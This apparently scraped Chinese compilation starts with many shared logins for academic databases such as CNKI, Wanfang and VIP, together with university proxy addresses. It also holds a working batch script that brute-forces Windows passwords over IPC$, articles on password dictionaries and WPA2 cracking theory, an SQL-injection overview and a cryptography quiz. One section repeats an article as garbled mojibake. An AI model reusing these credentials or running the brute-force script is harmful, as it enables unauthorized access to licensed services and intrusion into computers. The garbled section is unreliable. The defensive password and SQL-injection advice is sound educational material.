常用网站的账号密码
1.维普VIP密码
https://www.wendangku.net/doc/49421255.html,
账号:nm531密码:131420
2.维普
https://www.wendangku.net/doc/49421255.html,/
帐号：nm531
密码：131420
3.免费万方入口
http://218.69.114.37/wf/cddb/cddbft.htm
4.比较好的ibrary
https://www.wendangku.net/doc/49421255.html,/libweb/elib/do/login
User Name: 68-13313
Password: bigchalk
5.高权限ezproxy期刊
[url=https://https://www.wendangku.net/doc/49421255.html,/login]https://https://www.wendangku.net/doc/49421255.html,/login[/url] 21976000002515
6.万方硕博论文全文
从1977年到2004年,免费下载
http://218.69.114.37/wf/cddb/cddbft.htm
7.国外硕博论文全文下载（这个可是重量级的！)
快速检索地https://www.wendangku.net/doc/49421255.html,/theses/etd-search.html
按作者名检https://www.wendangku.net/doc/49421255.html,/theses/browse/by_author/
按系（专业）检索https://www.wendangku.net/doc/49421255.html,/theses/browse/by_department
https://www.wendangku.net/doc/49421255.html,ki全库，非常好用
https://www.wendangku.net/doc/49421255.html,/
用户名：dx0031
密码：lhtsjy
9.一些可用的cnki全文数据库
https://www.wendangku.net/doc/49421255.html,/index.htm
用户名及密码
sypbxy/sypbxy
bjyyys/bjyyys
K10129/gyzyjs
hljhd/hljhd
hun /sr2015
nj0084b /zjswdx
sipo339/sipo339
sh0118/cnqtsg
xinfei/xinfei
ncyzys/ncyzys
syscsz/syscsz
10.万方数据库
http://218.69.114.37/wf/cddb/cddbft.htm可查期刊库https://www.wendangku.net/doc/49421255.html,:85/szhqk/index.html
https://www.wendangku.net/doc/49421255.html,ki全库，非常好用
https://www.wendangku.net/doc/49421255.html,/
用户名：dx0031
密码：lhtsjy
12.数据库网https://www.wendangku.net/doc/49421255.html,
用户名：bsd228 登录密码：bsd228
13.维普：
http://210.34.157.60:8086/
免输用户名和密码,系统已默认为guest,也不要点击"登录"按钮.可直接检索和下载http://202.98.130.214:1011/index.asp
用户名：sss 密码：sss06
https://www.wendangku.net/doc/49421255.html,
选择一个结点，在页面上点击
帐号：fjnl 口令：fjnl2005
西南节点可以使用
14.中国博硕论文全文数据库
https://www.wendangku.net/doc/49421255.html,/NewWeb/
用户名/密码：cdzwys/cdzwys
https://www.wendangku.net/doc/49421255.html,/newweb/
帐号：syfqxy
密码：syfqxy
https://www.wendangku.net/doc/49421255.html,KI全文博硕论文库
https://www.wendangku.net/doc/49421255.html,/index.htm
用户名/密码heb/jc7412
16.万方帐号
https://www.wendangku.net/doc/49421255.html,/
wfdhlg/344000
17.万方资源（在弹出窗口中，输入密码）
https://www.wendangku.net/doc/49421255.html,/
wjly/wjly
https://www.wendangku.net/doc/49421255.html,ki（如果出现最大人数已满，请进入镜象地址）
全库
yszh/yszh bjyyys/bjyyys cdzwys/cdzwys syzjhz/syzjhz ncyzys/ncyzys syycxy/syycxy K10129/gyzyjs cqkcsy/cqkcsy sypbxy/sypbxy
部分库
ycssgz/ycssgz tzslgz/tzslgz
万方数据库
https://www.wendangku.net/doc/49421255.html,/
wjly/wjly
https://www.wendangku.net/doc/49421255.html,/
wfdhlg/344000
维普帐户
http://202.98.130.214:1011/index.asp
sss/sss06
维普---直接登陆入口
http://210.34.157.60:8086/
中国权威经济论文库
http://203.207.228.101
用户名:xjcjxy密码:xjcjxy
清华CNKI全能资源
https://www.wendangku.net/doc/49421255.html,/index.htm
sypbxy/sypbxy
CNKI期刊、博硕通库、全库密码
https://www.wendangku.net/doc/49421255.html,/index.htm
szxxys / szxxys
可用的apabi读书卡
https://www.wendangku.net/doc/49421255.html,
user51173/7yu2ui
武汉大学图书馆
http://202.114.65.40/journal/default_new.asp
进入后选择科目，点击期刊，选择中国期刊网即可. 清华CNKI全能资源
https://www.wendangku.net/doc/49421255.html,/index.htm
beiyong//336699
CNKI全库
https://www.wendangku.net/doc/49421255.html,/index.htm
bjyyys/bjyyys
yszh/yszh
beiyong//336699
tzslgz/tzslgz
CNKI共享
https://www.wendangku.net/doc/49421255.html,/newweb/
kt1005/kfklff
巨灵金融数据库网络版
219.133.37.37
lxxy/lxxy
珍贵万方资源期刊
https://www.wendangku.net/doc/49421255.html,/wf/index.html
ncue/ncue
维普全库
http://61.154.14.143:8080/index.asp
id:sun
mm:3258135
CNKI超全库密码
https://www.wendangku.net/doc/49421255.html,/index.htm
cdzwys/cdzwys
yszh/yszh
万方资源库
https://www.wendangku.net/doc/49421255.html,
用户名：wfdhlg密码：344000
南平电大数字图书馆(PDF格式)
https://www.wendangku.net/doc/49421255.html,/dlib/defaults.asp
用户名、密码均为guest，速度较慢，见谅。
新的超星数字图书馆
http://61.187.64.20/bookhtm/
如果不能使用请把超星设置代理为:61.187.64.20:80,然后就应该正常了CNKI共享
https://www.wendangku.net/doc/49421255.html,/index.htm
wuwu/wuwu
南师电子图书馆，全部为PDF格式，质量极好https://www.wendangku.net/doc/49421255.html,:8081
用户名和密码均为:ns
中国得瑞数字化信息中心大量pdf书籍可下
https://www.wendangku.net/doc/49421255.html,/dlib/
guest guest进入
清华CNKI全库资源
https://www.wendangku.net/doc/49421255.html,/index.htm
sh0118 /cnqtsg
CNKI全库期刊资源
https://www.wendangku.net/doc/49421255.html,/index.htm
dx0027 / lhjxxy
40万新超星
http://210.41.192.31/chaoxing/index.asp
410405 本图书符合查询要求,有耐心可以使用.
龙源期刊网免费阅读资源
安徽大学入口：
https://www.wendangku.net/doc/49421255.html,/ahdx/reg.asp?VirtualDir=ahdx 北京大学
代理：162.105.210.60:1080@SOCKS4#
网址https://www.wendangku.net/doc/49421255.html,
南开大学
文献代理：202.113.31.90:8081
校图书馆https://www.wendangku.net/doc/49421255.html,/
文献摘要：可上超星（516486 本图书符合查询要求：）
山东大学
219.218.105.93:8080
219.218.107.124:8080
219.218.109.74:8080
219.231.175.99:8080
219.231.175.148:8080
https://www.wendangku.net/doc/49421255.html,/
电子科技大学
202.115.16.250:3128
南京大学
221.226.2.152:8080
https://www.wendangku.net/doc/49421255.html,/
广州工业大学
202.116.137.3:808@HTTP
http://202.116.140.118/webaLibrary/
cnki全库帐号
https://www.wendangku.net/doc/49421255.html,/index.htm
用户名：dx0030
密码：swhx66
圣典图书
https://www.wendangku.net/doc/49421255.html,/index/index.jsp
shfj/shfj
中经统计数据网
https://www.wendangku.net/doc/49421255.html,
bnulib/bnulib
30万册的超星新图书馆
http://211.84.227.2/
上海教育网络数字图书馆
http://202.120.96.59/book.asp
代理202.120.142.68:3128@HTTP
维普：
1https://www.wendangku.net/doc/49421255.html,/index.asp nbtvu/123456 2http://218.57.135.234/yuq/yuq2004
cnki：
1https://www.wendangku.net/doc/49421255.html,/index.htm ysjs/ysjs
2https://www.wendangku.net/doc/49421255.html,/index.htm wuzhou/wuzhou 3https://www.wendangku.net/doc/49421255.html,/INDEX.HTM ysjs/ysjs
圣典图书
https://www.wendangku.net/doc/49421255.html,/index/index.jsp shfj/shfj
中经统计数据网
https://www.wendangku.net/doc/49421255.html,
bnulib/bnulib
国图
http://210.37.32.21:8080/ly/test_1.jsp?s=1 http://202.196.100.12:8080/ly/test_1.jsp?s=1 http://210.43.39.3:8080/ly/test_1.jsp
30万册的超星新图书馆
http://211.84.227.2/
上海教育网络数字图书馆
http://202.120.96.59/book.asp
代理202.120.142.68:3128@HTTP
常用密码表
【基本字母表】 ┃01┃02┃03┃04┃05┃06┃07┃08┃09┃10┃11┃12┃13┃ ┠--╂--╂--╂--╂--╂--╂--╂--╂--╂--╂--╂--╂--┨ ┃A ┃B ┃C ┃D ┃E ┃F ┃G ┃H ┃I ┃J ┃K ┃L ┃M ┃ ====================================================== ┃14┃15┃16┃17┃18┃19┃20┃21┃22┃23┃24┃25┃26┃ ┠--╂--╂--╂--╂--╂--╂--╂--╂--╂--╂--╂--╂--┨ ┃N ┃O ┃P ┃Q ┃R ┃S ┃T ┃U ┃V ┃W ┃X ┃Y ┃Z ┃ ================ 〖QWE加密表〗 ┃a┃b┃c┃d┃e┃f┃g┃h┃i┃j┃k┃l┃m┃n┃o┃p┃q┃r┃s┃t┃u┃v┃w┃x┃y┃z ┃ ┠-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-┨ ┃Q┃W┃E┃R┃T┃Y┃U┃I┃O┃P┃A┃S┃D┃F┃G┃H┃J┃K┃L┃Z┃X┃C┃V┃B┃N┃M┃ --------其实QWE加密可以表示成这种形式; --------(a,q,j,p,h,i,o,g,u,x,b,w,v,c,e,t,z,m,d,r,k)(f,y,n)(l,s) --------至于它是什么意思,自己去琢磨. --------至于这种形式比表形式有什么优点,自己去琢磨. 【QWE解密表】 ┃A┃B┃C┃D┃E┃F┃G┃H┃I┃J┃K┃L┃M┃N┃O┃P┃Q┃R┃S┃T┃U┃V┃W ┃X┃Y┃Z┃ ┠-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-╂-┨ ┃k┃x┃v┃m┃c┃n┃o┃p┃h┃q┃r┃s┃z┃y┃i┃j┃a┃d┃l┃e┃g┃w┃b┃u┃f┃t ┃ ================ 【电脑键盘表】 ┏!┯@┯#┯$┯%┯^┯&┯*┯(┯)┯_┯+┯|┓ ┃1│2│3│4│5│6│7│8│9│0│-│=│\┃ ┃│ │ │ │ │ │ │ │ │ │ │ │ ┃ 1┃Q│W│E│R│T│Y│U│I│O│P│[│]│ ┃7/8/9 -- Tab ┃│ │ │ │ │ │ │ │ │ │ │ │ ┃ 2┃A│S│D│F│G│H│J│K│L│;│'│ │ ┃4/5/6 -- Caps Lock ┃│ │ │ │ │ │ │ │ │ │ │ │ ┃
写Bat暴力破解系统密码
原理： 1、字典：for /f %i in (字典文件) do net use 主机ipc$ "%i" /user:"用户" 2、数字：for /l %i in (start,step,end) do net use 主机ipc$ "%i" /user:"用户" 实现： 将下面文件存为start.bat: @echo off echo ---------------------------------------- >>c:pwd.txt date /t >>c:pwd.txt time /t >>c:pwd.txt echo 破解结果：>>c:pwd.txt if "%6"=="1" goto shit2 :shit1 start "正在破解....." /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 goto quit :shit2 start "正在破解......" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 :quit 将下面文件存为test.bat: net use %1ipc$ %2 /user:"%3" goto answer%ERRORLEVEL% rem %ERRORLEVEL% :answer0 echo 远程主机："%1" >>c:pwd.txt echo 用户："%3" >>c:pwd.txt
echo 密码：%2 >>c:pwd.txt net use %1ipc$ /delet date /t >>c:pwd.txt time /t >>c:pwd.txt echo 破解完成。。。。zypcc >>c:pwd.txt exit :answer2 用法如下： 1、如果用字典破解：start.bat 字典文件路径及名称主机用户名 2、如果用数字破解: start.bat 起始数步长结束数主机用户名1
黑客的五种网络口令
现在企业大部分的网络设备与应用软件，都是依靠口令来保证其安全性的。若口令丢失的话，可想而知，会给企业的网络安全带来多大的风险，很可能在不知不觉中，企业网络中的主机成为了黑客的肉鸡，成为他们攻击 ... 现在企业大部分的网络设备与应用软件，都是依靠口令来保证其安全性的。若口令丢失的话，可想而知，会给企业的网络安全带来多大的风险，很可能在不知不觉中，企业网络中的主机成为了黑客的肉鸡，成为他们攻击其他网络的跳板;甚至企业的那些所谓机密信息也会一览无余的显示在攻击者面前，成为他们非法牟利的工具，等等。 所以，在企业网络管理中，有一项非常重要的任务，就是对口令安全的管理。可惜的是，很多企业在这个方面管理的并不是很好。下面笔者就谈谈在口令管理中，有哪些看起来很复杂的密码但是对于黑客来说，确是很容易破解。根据密码破解难度的不同，我这里就总结出黑客最喜欢用户设置的五种网络口令，妄大家能够引以为鉴。 一、用户名与口令名相同 笔者平时跟一些网络管理的同行聊天，谈到密码设置的问题。他们跟我一样，都发现用户在这方面不够重视，或者说，有偷懒的习惯。我们在设置用户名的时候，如域帐户或者ERP系统的帐户名，都会设置成“第一次登陆必须修改密码”。但是，当用户在设置密码的时候，喜欢把用户名与口令设置成相同。确实，用户名与口令一致，在记忆上可能会比较容易。但是，若从安全角度考虑，其跟没有设置密码，没有什么不同。 因为现在最常用的电子字典密码破解工具，在破解密码的时候，第一就是看密码是否为空，第二就是查密码是否跟用户名一致。所以，若把用户名与密码设置为一致的话，很容易被电子字典所破解。而且，即使不用电子工具，我们手工的话，按照这个规则也可以在一分钟不到的时间里破解掉。所以，若采用用户名与密码一致的口令的话，是非常危险的。 不过，我们可以在密码管理策略中，限制用户设置与用户名相同的密码。如在域帐户管理策略中，我们可以限制，用户设置的密码不能跟用户名相同。在一些应用软件，如ERP系统中，我们也可以做这方面的限制，等等。也就是说，现在很多应用软件开发商与网络设备厂商已经认识到这种口令的危害性，在他们的口令安全中，纷纷加入了这方面的限制。如此的话，我们网络管理员就可以利用强制的手段，限制用户设置跟用户名一致的口令，从而提高口令的安全性。 二、使用用户名变换得到的口令 有些用户自以为聪明，既然密码不能跟用户相同，则对用户名进行简单的变幻之后，作为密码总可以了吧。如把用户名颠倒顺序作为密码，或者在用户名后面加上个“123456”作为密码。从技术上说，这确实是可行的。但是，这只是在欺瞒我们网络管理者，而对于黑客来说，使毫无用处的。 我们不要把电子字典想的太简单，认为它不能够识别这个小伎俩。要知道，电子字典密码破解工具中，融入了用户很多常规的密码设置心理。在利用电子字典密码破解工具的时候，若是一个八位密码，不管是纯数字还是字母结合的密码，电子字典可以在一分之内根据用户名排列出所有的组合。也就是说，若我们的密码是对用户名重新排序而来的，则电子字典就可以在一分钟之内找到正确的密码。可见，若对用户名进行简单重排序而得到的密码，看起来好像很复杂，若用手工破解的话，确实有难度;但是，若黑客利用电子字典等密码破解工具的话，则破解起来就好像跟切豆腐一样的容易。 可以毫不夸张的说，以用户名为基础进行变换的密码，如对用户名进行随意的排序或者在用户名后面加上几个简单的数字，这些单纯的变换形式，只要用户想的到的话，一些高级的电子字典破解工具，也想的到。而且因为其运算能力的原因，可能我们需要花个几分钟时间去想怎么重新组合合理，而电子字典的话，可能只需要你一半的时间，就可以把这个密码破解掉。 所以，在口令设置中，特别是一些重要网络设备与应用软件中，不要按这种形式来设置密码。 字体：小▼
密码字典(精品)
密码字典（精品） 密码破解 1.简介:
所谓密码字典，主要是配合解密软件使用的，密码字典里包括许多人们习惯性设置的密码，这样可以提高解密软件的密码破解命中率，缩短解密时间，当然，如果一个人密码设置没有规律或很复杂，未包含在密码字典里，这个字典就没有用了，甚至会延长解密时间。 暴力破解这也是最傻的方法，耗时通常会比较常，靠人的运气。但是对于暴力破解，也是挺难去防范的。 例:对DES攻击结果示例 1997年1月28日美国RAS数据安全公司悬赏“密钥挑战”赛 , 参加的志愿者有78516个 , 48位的RC5 313小时/3500台计算机 , 1997年3月13日Rocke Verser设计了一个攻击程序(Deschall)，第96 天(6月17日晚10:39)破译成功56位密码。 2.密码破解攻击的分类 从破解的途径分类: 1.远程密码破解。特别是速度非常慢，同时和目标服务器的安全设置有关 2.本地密码破解。特别是是速度快 从破解的对象分类: 1.系统密码破解。常见的操作系统如Windows、Unix/Linux。 2.应用软件密码破解。如Office办公软件，Rar/Zip 压缩软件，即时通讯软件等从破解的技术分类: 1.字典破解。用指定的字典文件进行密码破解 2.混合破解。用指定字典的规则，对字典条目进行某种形式的变化，充实字典的内容，提高破解效率。 3.暴力破解。遍历所有可能的密码组合进行破解
3.原理: 密码字典管用吗,我要说大多数人使用的密码一定是有一个规律的，只要有规律就可能研究学习，我们追求的是用尽可能小的密码字典包含尽可能多的使用习惯，我们不排少数变态者使用毫无意义的超长密码组合，但如果我们能囊括较多人使用的密码就足够了，如果想全部包含，只能是穷举，为了做到100%，而让研究学习时 我们需要什么样的字典,作为一个中国人，我要说选用适合中国国情的字典是非常必要的，借用老外的字典是一个非常糟糕的选择，老外的单词动辄上万，再经过组合后的密码词典非常庞大，而中国人的汉字拼音只有400不到，经过组合后会比老外小好多数量级，还有手机号、地名等，都具有区域性特色，所以我们要一定要选择具有中国特色的密码字典。 字典攻击通常使用穷举法，或称为暴力破解法，是一种针对于密码的破译方法，即将密码进行逐个推算直到找出真正的密码为止。例如一个已知是四位并且全部由数字组成的密码，其可能共有10000种组合，因此最多尝试9999次就能找到正确的密码。理论上利用这种方法可以破解任何一种密码，问题只在于如何缩短试误时间。因此有些人运用计算机来增加效率，有些人辅以字典来缩小密码组合的范围。 也是一个猜口令的过程，指的是未经授权登陆，采用各种可能的方式计算或解出用户口令的过程 分布式暴力破解提高成功率 分布式暴力破解在很多时候是提高成功率的保障。对攻击者来说，目标服务器的处理能力是不可控的，攻击者是无法提高目标服务器的处理能力的，所以必须适应目标服务器的处理能力，由此才采用了分布式的暴力破解技术。
信息安全常见漏洞类型汇总汇总
一、SQL注入漏洞 SQL注入攻击（SQL Injection），简称注入攻击、SQL注入，被广泛用于非法获取网站控制权，是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL指令的检查，被数据库误认为是正常的SQL指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。 通常情况下，SQL注入的位置包括： （1）表单提交，主要是POST请求，也包括GET请求； （2）URL参数提交，主要为GET请求参数； （3）Cookie参数提交； （4）HTTP请求头部的一些可修改的值，比如Referer、User_Agent等； （5）一些边缘的输入点，比如.mp3文件的一些文件信息等。
SQL注入的危害不仅体现在数据库层面上，还有可能危及承载数据库的操作系统；如果SQL注入被用来挂马，还可能用来传播恶意软件等，这些危害包括但不局限于： （1）数据库信息泄漏：数据库中存放的用户的隐私信息的泄露。作为数据的存储中心，数据库里往往保存着各类的隐私信息，SQL注入攻击能导致这些隐私信息透明于攻击者。 （2）网页篡改：通过操作数据库对特定网页进行篡改。 （3）网站被挂马，传播恶意软件：修改数据库一些字段的值，嵌入网马链接，进行挂马攻击。 （4）数据库被恶意操作：数据库服务器被攻击，数据库的系统管理员帐户被篡改。 （5）服务器被远程控制，被安装后门。经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统。
（6）破坏硬盘数据，瘫痪全系统。 解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常使用的方案有： （1）所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口，使用此接口可以非常有效的防止SQL注入攻击。 （2）对进入数据库的特殊字符（'"\<>&*;等）进行转义处理，或编码转换。 （3）确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为int型。 （4）数据长度应该严格规定，能在一定程度上防止比较长的SQL注入语句无法正确执行。
常用密码字典生成规则
常用密码字典生成规则 常用密码字典都有哪些生成规则/方式？根据笔者调查的30个路人统计，其中1 8个人使用的密码是自己的生日或者手机号码，或有纪念意义的数字，8个人使用的密码来自自己的名字或有意思的英文字符，只有4个人使用密码的时候会加上特殊符号或者大小写，前两种必然没有最后一种方式安全，难道我们设置密码的方式都这么简单吗，能不能设置更复杂但好记的密码？ 什么是密码字典？ 所谓的密码字典，主要是配合密码破译软件所使用，密码字典里包括许多人们习惯性设置的密码，这样可以提高密码破译软件的密码破译成功率和命中率，缩短密码破译的时间，当然，如果一个人密码设置没有规律或很复杂，未包含在密码字典里，这个字典就没有用了，甚至会延长密码破译所需要的时间。 注：请酌情使用密码破译，本文仅作参考。 常用密码字典都有哪些生成规则/方式？ 一、密码字典分类： 1、密码字典常规字典 采用递归运算，自定义生成包含任意字符或汉字的字典。 2、密码字典不同字符集 “每位使用不同字符集”功能：此功能乃木头字典生成器所特有，可以为密码字典的每一位设置不同的字符集。 3、密码字典日期字典
生日字典：可生成6位或8位日期密码字典（生日密码字典），支持多种年，月，日，的组合格式。 4、密码字典英文字典 软件自带常用英语单词，英语人名词典和英语地名词典可方便地加入到字典中。 5、密码字典弱口令字典 软件件自带弱口令集，且你可以根据需要自已手动添加弱口令。弱口令集放到所有字典的前列，效率更好。 6、密码字典拼音字典 独有的汉字拼音字典功能，可任意设置拼音的大小写和首字母大写。 7、密码字典电话号码生成 手机号码生成器：电话号码生成器自动生成指定地点的中国移动和中国联通的手机号码，也可生成固定电话号码。 8、密码字典姓名拼音字典 姓名字典生成器生成包括百家姓的姓名汉字或拼音字典 9、密码字典汉字注音 给已有中文文本文件注音。支持拼音单独输出或汉字拼音交替输出。 10、密码字典分割输出 支持字典分割输出，自动分割大字典文件。 你可以任意选择基本字符串和密码长度，精确估算生成字典记录总数和字典文件大小。防止设置过大字典生成时造成死机。 二、密码字典修改模式：
破解WPA2密码非常实用的教程!
本教程用于探索无线路由安全漏洞，禁止用于非法用途，违者法律必究（与我无关） 在动手破解WPA/WPA2前，应该先了解一下基础知识，本文适合新手阅读 首先大家要明白一种数学运算，它叫做哈希算法（hash），这是一种不可逆运算，你不能通过运算结果来求解出原来的未知数是多少，有时我们还需要不同的未知数通过该算法计算后得到的结果不能相同，即你不太可能找到两个不同的值通过哈希得到同一个结果。哈希是一类算法的统称，通常哈希算法都是公开的，比如MD5，SHA-1等等。; 我们平时说的WPA密码其实叫PSK（pre-shared key），长度一般是8-63字节，它加上ss id通过一定的算法可以得到PMK（pairwise master key）。PMK=SHA-1(ssid,psk)，PMK 的长度是定长的，都是64字节。由于计算PMK的过程开销比较大，是我们破解花费时间长的关键，所以采用以空间换时间的原则把PMK事先生成好，这个事先生成好的表就是常说的HASH表（生成PMK的算法是一种哈希），这个工作就是用airlib-ng这个工具来完成的，我们的快速破解就是这么来的。 认证的时候会生成一个PTK（pairwise temporary），这是一组密钥，具体细节不详细说了，它的生成方法也是采用的哈希，参数是连接的客户端MAC地址、AP的BSSID、A-NONCE、S-NONCE、PMK，其中A-NONCE和S-NONCE是两个随机数，确保每次连接都会生成不同的PTK。PTK的计算消耗很小。PTK加上报文数据采用一定的算法（AES或TKIP），得到密文，同时会得到一个签名，叫做MIC（message integrality check），tkip之所以被破解和这个m ic有很大关系。 四次握手包中含有以上的哪些东西呢？客户端的MAC地址，AP的BSSID，A-NONCE，S-NONE，MIC，最关键的PMK和PTK是不包含在握手包里的！ 8 A2 m6 T& }) U2 J认证的原理是在获得以上的所有参数后，客户端算出一个MIC，把原文连同MIC一起发给AP，AP采用相同的参数与算法计算出MIC，并与客户端发过来的比较，如果一致，则认证通过，否则失败。 目前的破解方法是我们获得握手包后，用我们字典中的PSK+ssid先生成PMK（如果有HASH 表则略过），然后结合握手包中的（客户端MAC，AP的BSSID，A-NONCE，S-NONCE）计算P TK，再加上原始的报文数据算出MIC并与AP发送的MIC比较，如果一致，那么该PSK就是密钥。 目前最耗时的就是算PMK，可谓破解的瓶颈。即使搞定了运算量的问题，海量的密钥存储也是个问题（PMK都是64字节长度）！ 最近出来的tkiptun-ng只是可以解开使用tkip加密了的数据包，并不是说能够快速算出P MK或PSK。如果感兴趣，可以到书店看看讲哈希的书，说不定你把这些HASH算法都破解出来了。
[整理版]密码字典
[整理版]密码字典 密劳破解 1.劳介,
所劳密劳字典～主要是配合解密劳件使用的～密劳字典里包括劳多人劳劳劳性劳置的密劳～劳劳可以提高解密劳件的密劳破解命中率～劳短解密劳劳～然～如果一人密劳当个 劳置有劳律或劳劳～未包含在密劳字典里～劳字典没很个没会就有用了～甚至延劳解密劳劳。 暴力破解劳也是最劳的方法～耗劳通常比会靠运气劳常～人的。但是劳于暴力破解～也是挺劳去防范的。 例,劳攻劳劳果示例DES 年月日美国数据安全公司劳劳“密劳挑劳”劳1997128RAS ,参加的志愿者有个78516 ,位的小劳台劳算机48RC5?313/3500 ,年月日劳劳了一个攻劳程序;,～第1997313Rocke?VerserDeschall96 天;月日劳,,破劳成功位密劳。617103956 密劳破解攻劳的分劳2. 从径破解的途分劳, 劳程密劳破解。特劳是速度非常慢～同劳和目劳服劳器的安全劳置有劳1. 本地密劳破解。特劳是是速度快2. 从破解的劳象分劳, 系劳密劳破解。常劳的操作系劳如、。1.WindowsUnix/Linux 劳用劳件密劳破解。如劳公劳件～劳劳劳件～劳通劳劳件即等 2.OfficeRar/Zip? 从破解的技劳分劳, 字典破解。用指定的字典文件劳行密劳破解1.
混合破解。用指定字典的劳劳～劳字典条内目劳行某劳形式的劳化～充劳字典的容～2. 提高破解效率。 暴力破解。遍劳所有可能的密劳劳合劳行破解3. 原理,3. 密劳字典管用劳,我要劳大多人使用的密劳一数个定是有一劳律的～只要有劳律就可能究研学尽尽劳～我劳追求的是用可能小的密劳字典包含可能多的使用劳劳～我劳不排少数劳劳者使用毫无意劳的超劳密劳劳合～但如果我劳能囊括劳多人使用的密劳就足劳了～如果想全部包含～只能是劳劳～劳了做到～而劳研学究劳劳100% 我劳需要什劳劳的字典,作劳一中人～我要劳劳用个国适合中国国情的字典是非常必要的～借用老外的字典是一个糕非常糟的劳劳～老外的劳劳劳劳上万～再劳劳劳合后的密劳劳典非常劳大～而中人的劳字国拼音只有不到～劳劳劳合后会比老外小好多400 数号区量劳～劳有手机、地名等～都具有域性特色～所以我劳要一定要劳劳具有中国特色的密劳字典。 字典攻劳通常使用劳劳法～或劳称暴力破解法～是一劳劳劳于密劳的破劳方法～即将密劳劳行逐个推算直到出正找真个并数的密劳劳止。例如一已知是四位且全部由字劳成的密劳～其可能共有劳劳合～因此最多劳劳次就能到正找确的密劳。理100009999 劳上利用劳劳方法可以破解任何一劳密劳～劳劳只在于如何劳短劳劳劳劳。因此有些人用劳运算机来来增加效率～有些人劳以字典劳小密劳劳合的范劳。 也是一个猜口令的劳程～指的是未劳授劳登劳～采用各劳可能的方式劳算或解出用劳口令的劳程
密码学试题
选择题 1、如果发送方用私钥加密消息，则可以实现（） A、保密性 B、保密与鉴别 C、保密而非鉴别 D、鉴别 2、在混合加密方式下，真正用来加解密通信过程中所传输数据（明文）的密钥是（） A、非对称算法的公钥 B、对称算法的密钥 C、非对称算法的私钥 D、CA中心的公钥 3、以下关于加密说法，不正确的是（） A、加密包括对称加密和非对称加密两种 B、信息隐蔽是加密的一种方法 C、如果没有信息加密的密钥，只要知道加密程序的细节就可以对信息进行解密 D、密钥的位数越多，信息的安全性就越高 4、以下关于混合加密方式说法不正确的是：（） A、采用公开密钥体制进行通信过程中的加解密处理 B、采用公开密钥体制对对称密钥体制的密钥进行加密后的通信 C、采用对称密钥体制对对称密钥体制的密钥进行加密后的通信 D、采用混合加密方式，利用了对称密钥体制的密钥容易管理和非对称密钥体制的加解密处理速度快的双重优点 5、两个不同的消息摘要具有相同的值时，称为（） A、攻击 B、冲突 C、散列 D、都不是 6、（）用于验证消息完整性。 A、消息摘要 B、加密算法 C、数字信封 D、都不是 7、HASH函数可应用于（）。 A、数字签名 B、生成程序或文档的“数字指纹” C、安全存储口令 D、数据的抗抵赖性 8、数字证书采用公钥体制，每个用户设定一把公钥，由本人公开，用它进行： A、加密和验证签名 B、解密和签名 C、加密 D、解密 9、数字签名为保证其不可更改性，双方约定使用（） A、HASH算法
B、RSA算法 C、CAP算法 D、ACR算法 10、1是网络通信中标志通信各方身份信息的一系列数据，提供一种在Internet上验证身份的方式 A、数字认证 B、数字证书 C、电子证书 D、电子认证 11、以下关于CA认证中心说法正确的是 A、CA认证是使用对称密钥机制的认证方法 B、CA认证中心只负责签名，不负责证书的产生 C、CA认证中心负责证书的颁发和管理、并依靠证书证明一个用户的身份 D、CA认证中心不用保持中立，可以随便找一个用户来做为CA认证中心 12、关于CA和数字证书的关系，以下说法不正确的是 A、数字证书是保证双方之间的通讯安全的电子信任关系，他由CA签发 B、数字证书一般依靠CA中心的对称密钥机制来实现 C、在电子交易中，数字证书可以用于表明参与方的身份 D、数字证书能以一种不能被假冒的方式证明证书持有人身份 13、以下关于数字签名说法正确的是 A、数字签名是在所传输的数据后附加上一段和传输数据毫无关系的数字信息 B、数字签名能够解决数据的加密传输，即安全传输问题 C、数字签名一般采用对称加密机制 D、数字签名能够解决篡改、伪造等安全性问题 14、密钥交换问题的最终解决方案是使用 A、身份证 B、数字信封 C、数字证书 D、消息摘要 15、定义数字证书结构的标准是： A、X.500 B、TCP/IP C、ASN.1 D、X.509 16、CA用（）签名数字证书。 A、用户的公钥 B、用户的私钥 C、自己的公钥 D、自己的私钥 17下面关于密码算法的阐述，（）是不正确的。 A 对于一个安全的密码算法，即使是达不到理论上的不破的，也应当为实际上是不可破的。即是说，从截获的密文或某些已知明文密文对，要决定密钥或任意明文在计算机上是不可行的。 B 系统的保密性不依赖于对加密体制或算法的保密，而依赖于密钥（这就是著名的Kerckhoff 原则）。
密码字典
密码字典管用吗？ 首先我要说，或者相信大多数人使用的密码一定是有一个规律的，只要有规律就可能研究学习，我们追求的是用尽可能小的密码字典包含尽可能多的使用习惯，我们不排少数变态者使用毫无意义的超长密码组合，但如果我们能囊括较多人使用的密码就足够了，如果想全部包含，只能是穷举，为了做到100%，而让研究学习时间呈几何级地增大，可能是没有意义的，在研究学习时间上也是我们不能承受的。 我们需要什么样的字典？ 作为一个中国人，我要说选用适合中国国情的字典是非常必要的，借用老外的字典是一个非常糟糕的选择，老外的单词动辄上万，再经过组合后的密码词典非常庞大，而中国人的汉字拼音只有400不到，经过组合后会比老外小好多数量级，还有手机号、地名等，都具有区域性特色，所以我们要一定要选择具有中国特色的密码字典。 为什么选择希希密码？ 